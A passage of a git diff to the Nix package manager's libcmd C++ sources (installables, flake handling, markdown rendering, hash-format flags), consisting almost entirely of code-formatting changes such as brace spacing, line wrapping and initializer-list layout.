DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = outputs, + }, + .info = make_ref(ExtraPathInfoValue::Value{ .extendedOutputsSpec = outputs, /* FIXME: reconsider backwards compatibility above so we can fill in this info. */ @@ -115,8 +114,10 @@ InstallableAttrPath InstallableAttrPath::parse( ExtendedOutputsSpec extendedOutputsSpec) { return { - state, cmd, v, - prefix == "." ? "" : std::string { prefix }, + state, + cmd, + v, + prefix == "." ? "" : std::string{prefix}, std::move(extendedOutputsSpec), }; } diff --git a/src/libcmd/installable-derived-path.cc b/src/libcmd/installable-derived-path.cc index 5a92f81c7..2b36099d9 100644 --- a/src/libcmd/installable-derived-path.cc +++ b/src/libcmd/installable-derived-path.cc @@ -21,32 +21,32 @@ std::optional InstallableDerivedPath::getStorePath() return derivedPath.getBaseStorePath(); } -InstallableDerivedPath InstallableDerivedPath::parse( - ref store, - std::string_view prefix, - ExtendedOutputsSpec extendedOutputsSpec) +InstallableDerivedPath +InstallableDerivedPath::parse(ref store, std::string_view prefix, ExtendedOutputsSpec extendedOutputsSpec) { - auto derivedPath = std::visit(overloaded { - // If the user did not use ^, we treat the output more - // liberally: we accept a symlink chain or an actual - // store path. - [&](const ExtendedOutputsSpec::Default &) -> DerivedPath { - auto storePath = store->followLinksToStorePath(prefix); - return DerivedPath::Opaque { - .path = std::move(storePath), - }; + auto derivedPath = std::visit( + overloaded{ + // If the user did not use ^, we treat the output more + // liberally: we accept a symlink chain or an actual + // store path. + [&](const ExtendedOutputsSpec::Default &) -> DerivedPath { + auto storePath = store->followLinksToStorePath(prefix); + return DerivedPath::Opaque{ + .path = std::move(storePath), + }; + }, + // If the user did use ^, we just do exactly what is written. + [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> DerivedPath { + auto drv = make_ref(SingleDerivedPath::parse(*store, prefix)); + drvRequireExperiment(*drv); + return DerivedPath::Built{ + .drvPath = std::move(drv), + .outputs = outputSpec, + }; + }, }, - // If the user did use ^, we just do exactly what is written. - [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> DerivedPath { - auto drv = make_ref(SingleDerivedPath::parse(*store, prefix)); - drvRequireExperiment(*drv); - return DerivedPath::Built { - .drvPath = std::move(drv), - .outputs = outputSpec, - }; - }, - }, extendedOutputsSpec.raw); - return InstallableDerivedPath { + extendedOutputsSpec.raw); + return InstallableDerivedPath{ store, std::move(derivedPath), }; diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc index 83285b739..08b7aa673 100644 --- a/src/libcmd/installable-flake.cc +++ b/src/libcmd/installable-flake.cc @@ -28,8 +28,8 @@ namespace nix { std::vector InstallableFlake::getActualAttrPaths() { std::vector res; - if (attrPaths.size() == 1 && attrPaths.front().starts_with(".")){ - attrPaths.front().erase(0,1); + if (attrPaths.size() == 1 && attrPaths.front().starts_with(".")) { + attrPaths.front().erase(0, 1); res.push_back(attrPaths.front()); return res; } @@ -47,8 +47,11 @@ static std::string showAttrPaths(const std::vector & paths) { std::string s; for (const auto & [n, i] : enumerate(paths)) { - if (n > 0) s += n + 1 == paths.size() ? " or " : ", "; - s += '\''; s += i; s += '\''; + if (n > 0) + s += n + 1 == paths.size() ? " or " : ", "; + s += '\''; + s += i; + s += '\''; } return s; } @@ -62,12 +65,12 @@ InstallableFlake::InstallableFlake( Strings attrPaths, Strings prefixes, const flake::LockFlags & lockFlags) - : InstallableValue(state), - flakeRef(flakeRef), - attrPaths(fragment == "" ? attrPaths : Strings{(std::string) fragment}), - prefixes(fragment == "" ? Strings{} : prefixes), - extendedOutputsSpec(std::move(extendedOutputsSpec)), - lockFlags(lockFlags) + : InstallableValue(state) + , flakeRef(flakeRef) + , attrPaths(fragment == "" ? attrPaths : Strings{(std::string) fragment}) + , prefixes(fragment == "" ? Strings{} : prefixes) + , extendedOutputsSpec(std::move(extendedOutputsSpec)) + , lockFlags(lockFlags) { if (cmd && cmd->getAutoArgs(*state)->size()) throw UsageError("'--arg' and '--argstr' are incompatible with flakes"); @@ -87,18 +90,14 @@ DerivedPathsWithInfo InstallableFlake::toDerivedPaths() auto v = attr->forceValue(); if (std::optional derivedPathWithInfo = trySinglePathToDerivedPaths( - v, - noPos, - fmt("while evaluating the flake output attribute '%s'", attrPath))) - { - return { *derivedPathWithInfo }; + v, noPos, fmt("while evaluating the flake output attribute '%s'", attrPath))) { + return {*derivedPathWithInfo}; } else { throw Error( "expected flake output attribute '%s' to be a derivation or path but found %s: %s", attrPath, showType(v), - ValuePrinter(*this->state, v, errorPrintOptions) - ); + ValuePrinter(*this->state, v, errorPrintOptions)); } } @@ -113,39 +112,40 @@ DerivedPathsWithInfo InstallableFlake::toDerivedPaths() } return {{ - .path = DerivedPath::Built { - .drvPath = makeConstantStorePathRef(std::move(drvPath)), - .outputs = std::visit(overloaded { - [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { - std::set outputsToInstall; - if (auto aOutputSpecified = attr->maybeGetAttr(state->sOutputSpecified)) { - if (aOutputSpecified->getBool()) { - if (auto aOutputName = attr->maybeGetAttr("outputName")) - outputsToInstall = { aOutputName->getString() }; - } - } else if (auto aMeta = attr->maybeGetAttr(state->sMeta)) { - if (auto aOutputsToInstall = aMeta->maybeGetAttr("outputsToInstall")) - for (auto & s : aOutputsToInstall->getListOfStrings()) - outputsToInstall.insert(s); - } + .path = + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(std::move(drvPath)), + .outputs = std::visit( + overloaded{ + [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { + std::set outputsToInstall; + if (auto aOutputSpecified = attr->maybeGetAttr(state->sOutputSpecified)) { + if (aOutputSpecified->getBool()) { + if (auto aOutputName = attr->maybeGetAttr("outputName")) + outputsToInstall = {aOutputName->getString()}; + } + } else if (auto aMeta = attr->maybeGetAttr(state->sMeta)) { + if (auto aOutputsToInstall = aMeta->maybeGetAttr("outputsToInstall")) + for (auto & s : aOutputsToInstall->getListOfStrings()) + outputsToInstall.insert(s); + } - if (outputsToInstall.empty()) - outputsToInstall.insert("out"); + if (outputsToInstall.empty()) + outputsToInstall.insert("out"); - return OutputsSpec::Names { std::move(outputsToInstall) }; - }, - [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { - return e; - }, - }, extendedOutputsSpec.raw), - }, + return OutputsSpec::Names{std::move(outputsToInstall)}; + }, + [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { return e; }, + }, + extendedOutputsSpec.raw), + }, .info = make_ref( - ExtraPathInfoValue::Value { + ExtraPathInfoValue::Value{ .priority = priority, .attrPath = attrPath, .extendedOutputsSpec = extendedOutputsSpec, }, - ExtraPathInfoFlake::Flake { + ExtraPathInfoFlake::Flake{ .originalRef = flakeRef, .lockedRef = getLockedFlake()->flake.lockedRef, }), @@ -157,8 +157,7 @@ std::pair InstallableFlake::toValue(EvalState & state) return {&getCursor(state)->forceValue(), noPos}; } -std::vector> -InstallableFlake::getCursors(EvalState & state) +std::vector> InstallableFlake::getCursors(EvalState & state) { auto evalCache = openEvalCache(state, getLockedFlake()); @@ -181,11 +180,7 @@ InstallableFlake::getCursors(EvalState & state) } if (res.size() == 0) - throw Error( - suggestions, - "flake '%s' does not provide attribute %s", - flakeRef, - showAttrPaths(attrPaths)); + throw Error(suggestions, "flake '%s' does not provide attribute %s", flakeRef, showAttrPaths(attrPaths)); return res; } @@ -196,8 +191,8 @@ std::shared_ptr InstallableFlake::getLockedFlake() const flake::LockFlags lockFlagsApplyConfig = lockFlags; // FIXME why this side effect? lockFlagsApplyConfig.applyNixConfig = true; - _lockedFlake = std::make_shared(lockFlake( - flakeSettings, *state, flakeRef, lockFlagsApplyConfig)); + _lockedFlake = + std::make_shared(lockFlake(flakeSettings, *state, flakeRef, lockFlagsApplyConfig)); } return _lockedFlake; } diff --git a/src/libcmd/installable-value.cc b/src/libcmd/installable-value.cc index d9ac3a29e..fb95bf694 100644 --- a/src/libcmd/installable-value.cc +++ b/src/libcmd/installable-value.cc @@ -4,17 +4,14 @@ namespace nix { -std::vector> -InstallableValue::getCursors(EvalState & state) +std::vector> InstallableValue::getCursors(EvalState & state) { auto evalCache = - std::make_shared(std::nullopt, state, - [&]() { return toValue(state).first; }); + std::make_shared(std::nullopt, state, [&]() { return toValue(state).first; }); return {evalCache->getRoot()}; } -ref -InstallableValue::getCursor(EvalState & state) +ref InstallableValue::getCursor(EvalState & state) { /* Although getCursors should return at least one element, in case it doesn't, bound check to avoid an undefined behavior for vector[0] */ @@ -39,30 +36,32 @@ ref InstallableValue::require(ref installable) auto castedInstallable = installable.dynamic_pointer_cast(); if (!castedInstallable) throw nonValueInstallable(*installable); - return ref { castedInstallable }; + return ref{castedInstallable}; } -std::optional InstallableValue::trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx) +std::optional +InstallableValue::trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx) { if (v.type() == nPath) { auto storePath = fetchToStore(*state->store, v.path(), FetchMode::Copy); return {{ - .path = DerivedPath::Opaque { - .path = std::move(storePath), - }, + .path = + DerivedPath::Opaque{ + .path = std::move(storePath), + }, .info = make_ref(), }}; } else if (v.type() == nString) { return {{ - .path = DerivedPath::fromSingle( - state->coerceToSingleDerivedPath(pos, v, errorCtx)), + .path = DerivedPath::fromSingle(state->coerceToSingleDerivedPath(pos, v, errorCtx)), .info = make_ref(), }}; } - else return std::nullopt; + else + return std::nullopt; } } diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 2ebfac3e6..caea783ce 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -31,7 +31,9 @@ namespace nix { -namespace fs { using namespace std::filesystem; } +namespace fs { +using namespace std::filesystem; +} void completeFlakeInputAttrPath( AddCompletions & completions, @@ -63,7 +65,8 @@ MixFlakeOptions::MixFlakeOptions() .category = category, .handler = {[&]() { lockFlags.recreateLockFile = true; - warn("'--recreate-lock-file' is deprecated and will be removed in a future version; use 'nix flake update' instead."); + warn( + "'--recreate-lock-file' is deprecated and will be removed in a future version; use 'nix flake update' instead."); }}, }); @@ -160,9 +163,7 @@ MixFlakeOptions::MixFlakeOptions() .description = "Write the given lock file instead of `flake.lock` within the top-level flake.", .category = category, .labels = {"flake-lock-path"}, - .handler = {[&](std::string lockFilePath) { - lockFlags.outputLockFilePath = lockFilePath; - }}, + .handler = {[&](std::string lockFilePath) { lockFlags.outputLockFilePath = lockFilePath; }}, .completer = completePath, }); @@ -177,12 +178,12 @@ MixFlakeOptions::MixFlakeOptions() flakeSettings, *evalState, parseFlakeRef(fetchSettings, flakeRef, absPath(getCommandBaseDir())), - { .writeLockFile = false }); + {.writeLockFile = false}); for (auto & [inputName, input] : flake.lockFile.root->inputs) { auto input2 = flake.lockFile.findInput({inputName}); // resolve 'follows' nodes if (auto input3 = std::dynamic_pointer_cast(input2)) { overrideRegistry( - fetchers::Input::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", inputName}}), + fetchers::Input::fromAttrs(fetchSettings, {{"type", "indirect"}, {"id", inputName}}), input3->lockedRef.input, {}); } @@ -211,7 +212,8 @@ SourceExprCommand::SourceExprCommand() addFlag({ .longName = "expr", - .description = "Interpret [*installables*](@docroot@/command-ref/new-cli/nix.md#installables) as attribute paths relative to the Nix expression *expr*.", + .description = + "Interpret [*installables*](@docroot@/command-ref/new-cli/nix.md#installables) as attribute paths relative to the Nix expression *expr*.", .category = installablesCategory, .labels = {"expr"}, .handler = {&expr}, @@ -222,32 +224,26 @@ MixReadOnlyOption::MixReadOnlyOption() { addFlag({ .longName = "read-only", - .description = - "Do not instantiate each evaluated derivation. " - "This improves performance, but can cause errors when accessing " - "store paths of derivations during evaluation.", + .description = "Do not instantiate each evaluated derivation. " + "This improves performance, but can cause errors when accessing " + "store paths of derivations during evaluation.", .handler = {&settings.readOnlyMode, true}, }); } Strings SourceExprCommand::getDefaultFlakeAttrPaths() { - return { - "packages." + settings.thisSystem.get() + ".default", - "defaultPackage." + settings.thisSystem.get() - }; + return {"packages." + settings.thisSystem.get() + ".default", "defaultPackage." + settings.thisSystem.get()}; } Strings SourceExprCommand::getDefaultFlakeAttrPathPrefixes() { - return { - // As a convenience, look for the attribute in - // 'outputs.packages'. - "packages." + settings.thisSystem.get() + ".", - // As a temporary hack until Nixpkgs is properly converted - // to provide a clean 'packages' set, look in 'legacyPackages'. - "legacyPackages." + settings.thisSystem.get() + "." - }; + return {// As a convenience, look for the attribute in + // 'outputs.packages'. + "packages." + settings.thisSystem.get() + ".", + // As a temporary hack until Nixpkgs is properly converted + // to provide a clean 'packages' set, look in 'legacyPackages'. + "legacyPackages." + settings.thisSystem.get() + "."}; } Args::CompleterClosure SourceExprCommand::getCompleteInstallable() @@ -265,10 +261,7 @@ void SourceExprCommand::completeInstallable(AddCompletions & completions, std::s evalSettings.pureEval = false; auto state = getEvalState(); - auto e = - state->parseExprFromFile( - resolveExprPath( - lookupFileArg(*state, *file))); + auto e = state->parseExprFromFile(resolveExprPath(lookupFileArg(*state, *file))); Value root; state->eval(e, root); @@ -287,7 +280,7 @@ void SourceExprCommand::completeInstallable(AddCompletions & completions, std::s } auto [v, pos] = findAlongAttrPath(*state, prefix_, *autoArgs, root); - Value &v1(*v); + Value & v1(*v); state->forceValue(v1, pos); Value v2; state->autoCallFunction(*autoArgs, v1, v2); @@ -312,7 +305,7 @@ void SourceExprCommand::completeInstallable(AddCompletions & completions, std::s getDefaultFlakeAttrPaths(), prefix); } - } catch (EvalError&) { + } catch (EvalError &) { // Don't want eval errors to mess-up with the completion engine, so let's just swallow them } } @@ -336,7 +329,7 @@ void completeFlakeRefWithFragment( auto fragment = prefix.substr(hash + 1); std::string prefixRoot = ""; - if (fragment.starts_with(".")){ + if (fragment.starts_with(".")) { fragment = fragment.substr(1); prefixRoot = "."; } @@ -345,13 +338,13 @@ void completeFlakeRefWithFragment( // TODO: ideally this would use the command base directory instead of assuming ".". auto flakeRef = parseFlakeRef(fetchSettings, expandTilde(flakeRefS), fs::current_path().string()); - auto evalCache = openEvalCache(*evalState, - std::make_shared(lockFlake( - flakeSettings, *evalState, flakeRef, lockFlags))); + auto evalCache = openEvalCache( + *evalState, + std::make_shared(lockFlake(flakeSettings, *evalState, flakeRef, lockFlags))); auto root = evalCache->getRoot(); - if (prefixRoot == "."){ + if (prefixRoot == ".") { attrPathPrefixes.clear(); } /* Complete 'fragment' relative to all the @@ -371,7 +364,8 @@ void completeFlakeRefWithFragment( } auto attr = root->findAlongAttrPath(attrPath); - if (!attr) continue; + if (!attr) + continue; for (auto & attr2 : (*attr)->getAttrs()) { if (hasPrefix(evalState->symbols[attr2], lastAttr)) { @@ -379,7 +373,9 @@ void completeFlakeRefWithFragment( /* Strip the attrpath prefix. */ attrPath2.erase(attrPath2.begin(), attrPath2.begin() + attrPathPrefix.size()); // FIXME: handle names with dots - completions.add(flakeRefS + "#" + prefixRoot + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); + completions.add( + flakeRefS + "#" + prefixRoot + + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); } } } @@ -389,7 +385,8 @@ void completeFlakeRefWithFragment( if (fragment.empty()) { for (auto & attrPath : defaultFlakeAttrPaths) { auto attr = root->findAlongAttrPath(parseAttrPath(*evalState, attrPath)); - if (!attr) continue; + if (!attr) + continue; completions.add(flakeRefS + "#" + prefixRoot); } } @@ -429,14 +426,12 @@ DerivedPathWithInfo Installable::toDerivedPath() { auto buildables = toDerivedPaths(); if (buildables.size() != 1) - throw Error("installable '%s' evaluates to %d derivations, where only one is expected", what(), buildables.size()); + throw Error( + "installable '%s' evaluates to %d derivations, where only one is expected", what(), buildables.size()); return std::move(buildables[0]); } -static StorePath getDeriver( - ref store, - const Installable & i, - const StorePath & drvPath) +static StorePath getDeriver(ref store, const Installable & i, const StorePath & drvPath) { auto derivers = store->queryValidDerivers(drvPath); if (derivers.empty()) @@ -445,35 +440,35 @@ static StorePath getDeriver( return *derivers.begin(); } -ref openEvalCache( - EvalState & state, - std::shared_ptr lockedFlake) +ref openEvalCache(EvalState & state, std::shared_ptr lockedFlake) { auto fingerprint = evalSettings.useEvalCache && evalSettings.pureEval - ? lockedFlake->getFingerprint(state.store, state.fetchSettings) - : std::nullopt; - auto rootLoader = [&state, lockedFlake]() - { - /* For testing whether the evaluation cache is - complete. */ - if (getEnv("NIX_ALLOW_EVAL").value_or("1") == "0") - throw Error("not everything is cached, but evaluation is not allowed"); + ? lockedFlake->getFingerprint(state.store, state.fetchSettings) + : std::nullopt; + auto rootLoader = [&state, lockedFlake]() { + /* For testing whether the evaluation cache is + complete. */ + if (getEnv("NIX_ALLOW_EVAL").value_or("1") == "0") + throw Error("not everything is cached, but evaluation is not allowed"); - auto vFlake = state.allocValue(); - flake::callFlake(state, *lockedFlake, *vFlake); + auto vFlake = state.allocValue(); + flake::callFlake(state, *lockedFlake, *vFlake); - state.forceAttrs(*vFlake, noPos, "while parsing cached flake data"); + state.forceAttrs(*vFlake, noPos, "while parsing cached flake data"); - auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); - assert(aOutputs); + auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); + assert(aOutputs); - return aOutputs->value; - }; + return aOutputs->value; + }; if (fingerprint) { auto search = state.evalCaches.find(fingerprint.value()); if (search == state.evalCaches.end()) { - search = state.evalCaches.emplace(fingerprint.value(), make_ref(fingerprint, state, rootLoader)).first; + search = + state.evalCaches + .emplace(fingerprint.value(), make_ref(fingerprint, state, rootLoader)) + .first; } return search->second; } else { @@ -481,8 +476,7 @@ ref openEvalCache( } } -Installables SourceExprCommand::parseInstallables( - ref store, std::vector ss) +Installables SourceExprCommand::parseInstallables(ref store, std::vector ss) { Installables result; @@ -491,7 +485,8 @@ Installables SourceExprCommand::parseInstallables( throw UsageError("'--file' and '--expr' are exclusive"); // FIXME: backward compatibility hack - if (file) evalSettings.pureEval = false; + if (file) + evalSettings.pureEval = false; auto state = getEvalState(); auto vFile = state->allocValue(); @@ -499,12 +494,10 @@ Installables SourceExprCommand::parseInstallables( if (file == "-") { auto e = state->parseStdin(); state->eval(e, *vFile); - } - else if (file) { + } else if (file) { auto dir = absPath(getCommandBaseDir()); state->evalFile(lookupFileArg(*state, *file, &dir), *vFile); - } - else { + } else { Path dir = absPath(getCommandBaseDir()); auto e = state->parseExprFromString(*expr, state->rootPath(dir)); state->eval(e, *vFile); @@ -513,9 +506,8 @@ Installables SourceExprCommand::parseInstallables( for (auto & s : ss) { auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(s); result.push_back( - make_ref( - InstallableAttrPath::parse( - state, *this, vFile, std::move(prefix), std::move(extendedOutputsSpec)))); + make_ref(InstallableAttrPath::parse( + state, *this, vFile, std::move(prefix), std::move(extendedOutputsSpec)))); } } else { @@ -530,8 +522,9 @@ Installables SourceExprCommand::parseInstallables( if (prefix.find('/') != std::string::npos) { try { - result.push_back(make_ref( - InstallableDerivedPath::parse(store, prefix, extendedOutputsSpec.raw))); + result.push_back( + make_ref( + InstallableDerivedPath::parse(store, prefix, extendedOutputsSpec.raw))); continue; } catch (BadStorePath &) { } catch (...) { @@ -541,9 +534,10 @@ Installables SourceExprCommand::parseInstallables( } try { - auto [flakeRef, fragment] = parseFlakeRefWithFragment( - fetchSettings, std::string { prefix }, absPath(getCommandBaseDir())); - result.push_back(make_ref( + auto [flakeRef, fragment] = + parseFlakeRefWithFragment(fetchSettings, std::string{prefix}, absPath(getCommandBaseDir())); + result.push_back( + make_ref( this, getEvalState(), std::move(flakeRef), @@ -564,8 +558,7 @@ Installables SourceExprCommand::parseInstallables( return result; } -ref SourceExprCommand::parseInstallable( - ref store, const std::string & installable) +ref SourceExprCommand::parseInstallable(ref store, const std::string & installable) { auto installables = parseInstallables(store, {installable}); assert(installables.size() == 1); @@ -576,20 +569,18 @@ static SingleBuiltPath getBuiltPath(ref evalStore, ref store, cons { return std::visit( overloaded{ - [&](const SingleDerivedPath::Opaque & bo) -> SingleBuiltPath { - return SingleBuiltPath::Opaque { bo.path }; - }, + [&](const SingleDerivedPath::Opaque & bo) -> SingleBuiltPath { return SingleBuiltPath::Opaque{bo.path}; }, [&](const SingleDerivedPath::Built & bfd) -> SingleBuiltPath { auto drvPath = getBuiltPath(evalStore, store, *bfd.drvPath); // Resolving this instead of `bfd` will yield the same result, but avoid duplicative work. - SingleDerivedPath::Built truncatedBfd { + SingleDerivedPath::Built truncatedBfd{ .drvPath = makeConstantStorePathRef(drvPath.outPath()), .output = bfd.output, }; auto outputPath = resolveDerivedPath(*store, truncatedBfd, &*evalStore); - return SingleBuiltPath::Built { + return SingleBuiltPath::Built{ .drvPath = make_ref(std::move(drvPath)), - .output = { bfd.output, outputPath }, + .output = {bfd.output, outputPath}, }; }, }, @@ -597,11 +588,7 @@ static SingleBuiltPath getBuiltPath(ref evalStore, ref store, cons } std::vector Installable::build( - ref evalStore, - ref store, - Realise mode, - const Installables & installables, - BuildMode bMode) + ref evalStore, ref store, Realise mode, const Installables & installables, BuildMode bMode) { std::vector res; for (auto & [_, builtPathWithResult] : build2(evalStore, store, mode, installables, bMode)) @@ -609,9 +596,7 @@ std::vector Installable::build( return res; } -static void throwBuildErrors( - std::vector & buildResults, - const Store & store) +static void throwBuildErrors(std::vector & buildResults, const Store & store) { std::vector failed; for (auto & buildResult : buildResults) { @@ -628,10 +613,11 @@ static void throwBuildErrors( StringSet failedPaths; for (; failedResult != failed.end(); failedResult++) { if (!failedResult->errorMsg.empty()) { - logError(ErrorInfo{ - .level = lvlError, - .msg = failedResult->errorMsg, - }); + logError( + ErrorInfo{ + .level = lvlError, + .msg = failedResult->errorMsg, + }); } failedPaths.insert(failedResult->path.to_string(store)); } @@ -641,11 +627,7 @@ static void throwBuildErrors( } std::vector, BuiltPathWithResult>> Installable::build2( - ref evalStore, - ref store, - Realise mode, - const Installables & installables, - BuildMode bMode) + ref evalStore, ref store, Realise mode, const Installables & installables, BuildMode bMode) { if (mode == Realise::Nothing) settings.readOnlyMode = true; @@ -676,22 +658,25 @@ std::vector, BuiltPathWithResult>> Installable::build for (auto & path : pathsToBuild) { for (auto & aux : backmap[path]) { - std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - auto outputs = resolveDerivedPath(*store, bfd, &*evalStore); - res.push_back({aux.installable, { - .path = BuiltPath::Built { - .drvPath = make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), - .outputs = outputs, - }, - .info = aux.info}}); + std::visit( + overloaded{ + [&](const DerivedPath::Built & bfd) { + auto outputs = resolveDerivedPath(*store, bfd, &*evalStore); + res.push_back( + {aux.installable, + {.path = + BuiltPath::Built{ + .drvPath = + make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), + .outputs = outputs, + }, + .info = aux.info}}); + }, + [&](const DerivedPath::Opaque & bo) { + res.push_back({aux.installable, {.path = BuiltPath::Opaque{bo.path}, .info = aux.info}}); + }, }, - [&](const DerivedPath::Opaque & bo) { - res.push_back({aux.installable, { - .path = BuiltPath::Opaque { bo.path }, - .info = aux.info}}); - }, - }, path.raw()); + path.raw()); } } @@ -705,26 +690,30 @@ std::vector, BuiltPathWithResult>> Installable::build throwBuildErrors(buildResults, *store); for (auto & buildResult : buildResults) { for (auto & aux : backmap[buildResult.path]) { - std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - std::map outputs; - for (auto & [outputName, realisation] : buildResult.builtOutputs) - outputs.emplace(outputName, realisation.outPath); - res.push_back({aux.installable, { - .path = BuiltPath::Built { - .drvPath = make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), - .outputs = outputs, - }, - .info = aux.info, - .result = buildResult}}); + std::visit( + overloaded{ + [&](const DerivedPath::Built & bfd) { + std::map outputs; + for (auto & [outputName, realisation] : buildResult.builtOutputs) + outputs.emplace(outputName, realisation.outPath); + res.push_back( + {aux.installable, + {.path = + BuiltPath::Built{ + .drvPath = + make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), + .outputs = outputs, + }, + .info = aux.info, + .result = buildResult}}); + }, + [&](const DerivedPath::Opaque & bo) { + res.push_back( + {aux.installable, + {.path = BuiltPath::Opaque{bo.path}, .info = aux.info, .result = buildResult}}); + }, }, - [&](const DerivedPath::Opaque & bo) { - res.push_back({aux.installable, { - .path = BuiltPath::Opaque { bo.path }, - .info = aux.info, - .result = buildResult}}); - }, - }, buildResult.path.raw()); + buildResult.path.raw()); } } @@ -739,11 +728,7 @@ std::vector, BuiltPathWithResult>> Installable::build } BuiltPaths Installable::toBuiltPaths( - ref evalStore, - ref store, - Realise mode, - OperateOn operateOn, - const Installables & installables) + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables) { if (operateOn == OperateOn::Output) { BuiltPaths res; @@ -762,10 +747,7 @@ BuiltPaths Installable::toBuiltPaths( } StorePathSet Installable::toStorePathSet( - ref evalStore, - ref store, - Realise mode, OperateOn operateOn, - const Installables & installables) + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables) { StorePathSet outPaths; for (auto & path : toBuiltPaths(evalStore, store, mode, operateOn, installables)) { @@ -776,10 +758,7 @@ StorePathSet Installable::toStorePathSet( } StorePaths Installable::toStorePaths( - ref evalStore, - ref store, - Realise mode, OperateOn operateOn, - const Installables & installables) + ref evalStore, ref store, Realise mode, OperateOn operateOn, const Installables & installables) { StorePaths outPaths; for (auto & path : toBuiltPaths(evalStore, store, mode, operateOn, installables)) { @@ -790,10 +769,7 @@ StorePaths Installable::toStorePaths( } StorePath Installable::toStorePath( - ref evalStore, - ref store, - Realise mode, OperateOn operateOn, - ref installable) + ref evalStore, ref store, Realise mode, OperateOn operateOn, ref installable) { auto paths = toStorePathSet(evalStore, store, mode, operateOn, {installable}); @@ -803,28 +779,23 @@ StorePath Installable::toStorePath( return *paths.begin(); } -StorePathSet Installable::toDerivations( - ref store, - const Installables & installables, - bool useDeriver) +StorePathSet Installable::toDerivations(ref store, const Installables & installables, bool useDeriver) { StorePathSet drvPaths; for (const auto & i : installables) for (const auto & b : i->toDerivedPaths()) - std::visit(overloaded { - [&](const DerivedPath::Opaque & bo) { - drvPaths.insert( - bo.path.isDerivation() - ? bo.path - : useDeriver - ? getDeriver(store, *i, bo.path) - : throw Error("argument '%s' did not evaluate to a derivation", i->what())); + std::visit( + overloaded{ + [&](const DerivedPath::Opaque & bo) { + drvPaths.insert( + bo.path.isDerivation() ? bo.path + : useDeriver ? getDeriver(store, *i, bo.path) + : throw Error("argument '%s' did not evaluate to a derivation", i->what())); + }, + [&](const DerivedPath::Built & bfd) { drvPaths.insert(resolveDerivedPath(*store, *bfd.drvPath)); }, }, - [&](const DerivedPath::Built & bfd) { - drvPaths.insert(resolveDerivedPath(*store, *bfd.drvPath)); - }, - }, b.path.raw()); + b.path.raw()); return drvPaths; } @@ -859,10 +830,7 @@ std::vector RawInstallablesCommand::getFlakeRefsForCompletion() std::vector res; res.reserve(rawInstallables.size()); for (const auto & i : rawInstallables) - res.push_back(parseFlakeRefWithFragment( - fetchSettings, - expandTilde(i), - absPath(getCommandBaseDir())).first); + res.push_back(parseFlakeRefWithFragment(fetchSettings, expandTilde(i), absPath(getCommandBaseDir())).first); return res; } @@ -881,12 +849,7 @@ void RawInstallablesCommand::run(ref store) std::vector InstallableCommand::getFlakeRefsForCompletion() { - return { - parseFlakeRefWithFragment( - fetchSettings, - expandTilde(_installable), - absPath(getCommandBaseDir())).first - }; + return {parseFlakeRefWithFragment(fetchSettings, expandTilde(_installable), absPath(getCommandBaseDir())).first}; } void InstallablesCommand::run(ref store, std::vector && rawInstallables) diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index 41da73c7a..09cd9c1fb 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -18,25 +18,24 @@ static std::string doRenderMarkdownToTerminal(std::string_view markdown) { int windowWidth = getWindowSize().second; -#if HAVE_LOWDOWN_1_4 - struct lowdown_opts_term opts_term { +# if HAVE_LOWDOWN_1_4 + struct lowdown_opts_term opts_term{ .cols = (size_t) std::max(windowWidth - 5, 60), .hmargin = 0, .vmargin = 0, }; -#endif - struct lowdown_opts opts - { +# endif + struct lowdown_opts opts{ .type = LOWDOWN_TERM, -#if HAVE_LOWDOWN_1_4 +# if HAVE_LOWDOWN_1_4 .term = opts_term, -#endif +# endif .maxdepth = 20, -#if !HAVE_LOWDOWN_1_4 +# if !HAVE_LOWDOWN_1_4 .cols = (size_t) std::max(windowWidth - 5, 60), .hmargin = 0, .vmargin = 0, -#endif +# endif .feat = LOWDOWN_COMMONMARK | LOWDOWN_FENCED | LOWDOWN_DEFLIST | LOWDOWN_TABLES, .oflags = LOWDOWN_TERM_NOLINK, }; diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc index a57ad35ff..33ca09ff0 100644 --- a/src/libcmd/misc-store-flags.cc +++ b/src/libcmd/misc-store-flags.cc @@ -1,7 +1,6 @@ #include "nix/cmd/misc-store-flags.hh" -namespace nix::flag -{ +namespace nix::flag { static void hashFormatCompleter(AddCompletions & completions, size_t index, std::string_view prefix) { @@ -15,27 +14,23 @@ static void hashFormatCompleter(AddCompletions & completions, size_t index, std: Args::Flag hashFormatWithDefault(std::string && longName, HashFormat * hf) { assert(*hf == nix::HashFormat::SRI); - return Args::Flag { - .longName = std::move(longName), - .description = "Hash format (`base16`, `nix32`, `base64`, `sri`). Default: `sri`.", - .labels = {"hash-format"}, - .handler = {[hf](std::string s) { - *hf = parseHashFormat(s); - }}, - .completer = hashFormatCompleter, + return Args::Flag{ + .longName = std::move(longName), + .description = "Hash format (`base16`, `nix32`, `base64`, `sri`). Default: 